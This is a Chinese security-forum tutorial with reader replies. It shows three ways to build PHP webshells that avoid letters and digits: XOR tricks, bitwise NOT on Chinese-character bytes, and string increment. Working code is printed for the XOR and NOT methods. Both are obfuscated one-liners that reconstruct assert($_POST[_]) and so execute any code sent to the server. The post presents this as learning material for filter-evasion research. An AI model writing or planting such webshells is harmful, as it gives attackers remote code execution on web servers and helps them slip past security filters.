不包含字母和数字的webshell

小菜猴子   ·   发表于 2022-09-10 21:41:27   ·   技术文章

一、提出问题

如何编写一个不使用字母和数字的webshell?

二、思路

使用非数字、字母的字符进行变换来得到字母和数字。

三、方法一

使用异或运算,两个字符串异或操作之后,得到的还是一个字符串,所以我们可以通过两个字符异或运算来得到另外一个字符。

写的PHP代码来得到我们想要的字符串:

写的勉勉强强,大佬别骂……

然后我们可以构造这样的内容

  1. $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_=assert
  2. $__='_'.('%0d'^']').('%12'^']').('%0e'^']').('%09'^']'); // $__=_POST
  3. $___=$$__;
  4. $_($___[_]); // assert($_POST[_]);

这里有一个疑问,为什么前面的assert跟]搭配就没作用了,后面的POST跟`搭配也没有作用

这里还有另外的一个脚本:

也是可以使用的

四、方法二

这个方法和第一个方法是差不多的,但是编写脚本……算了吧,我还是使用大佬现成的吧。这个方法是利用取反来得到字母,比如'和'{2}得到的结果为\x8c,取反得到的字母为s。这里想不太明白,复现成功,PHP版本会产生一定的影响,先放在这里,找时间来看看

  1. <?php
  2. $__=('>'>'<')+('>'>'<');
  3. $_=$__/$__;
  4. $____='';
  5. $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
  6. $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
  7. $_=$$_____;
  8. $____($_[$__]);

这里PHP版本会产生问题

这里是利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP是弱类型语言,true的值为1,所以true+true==2,也就是('>'>'<')+('>'>'<')==2

将上面的代码运行一下(这里还有一些注释,大佬果然不一样啊……)

五、方法三

方法二是使用了位运算,方法三是不再使用位运算来搞定这个题目的,完全阐释了这两张图啊,大佬才能想出来的东西,我直接好家伙……

说了这么多,其实就是'a'++ => 'b','b'++ => 'c',所以我们只要拿到一个变量就可以得到所以的变量了

这时候大佬又正好了,而我是直接放弃了……数组中可以得到大小写a,就相当于我们拿到了所有的字母

利用这个技巧,我们就可以编写如下的webshell了

php对大小写不敏感,所以使用ASSERT($_POST[_]);也是可以的,运行结果如下:

感谢大佬的文章!

参考链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-09-13 19:07:19 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2022-9-21 | 852 次浏览

st2021
发表于 2022-9-15

请问为什么不统一都用GET或者都用POST呢

评论列表

  • 加载数据中...

编写评论内容

治秃用霸王
发表于 2022-9-21

虽然我看不懂,但我大受震撼。

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.